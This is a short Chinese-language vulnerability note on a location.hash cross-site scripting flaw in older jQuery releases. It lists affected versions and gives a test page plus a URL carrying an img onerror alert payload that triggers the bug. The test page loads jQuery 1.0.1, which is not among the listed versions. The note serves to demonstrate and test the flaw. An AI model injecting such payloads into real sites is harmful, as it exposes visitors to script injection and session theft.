原理:

    jQuery中过滤用户输入数据所使用的正则表达式存在缺陷,可能导致 location.hash 跨站漏洞

影响版本:

  • jquery-1.7.1~1.8.3
  • jquery-1.6.min.js,jquery-1.6.1.min.js,jquery-1.6.2.min.js
  • jquery-1.5所有版本
  • jquery-1.4所有版本
  • jquery-1.3所有版本
  • jquery-1.2所有版本

测试代码:

<html>
<head>
<title>JQuery-xss-test</title>
<script src="https://code.jquery.com/jquery-1.0.1.js" ></script>
<script>
$(function(){
try { $(location.hash) }
catch(e) {}
})
</script>
</head>
<body>
Jquery xss test.
</body>
</html>

然后访问如下:http://localhost/#<img src=/ οnerrοr=alert(1)>

在线测试平台:​​JQuery跨站脚本在线测试​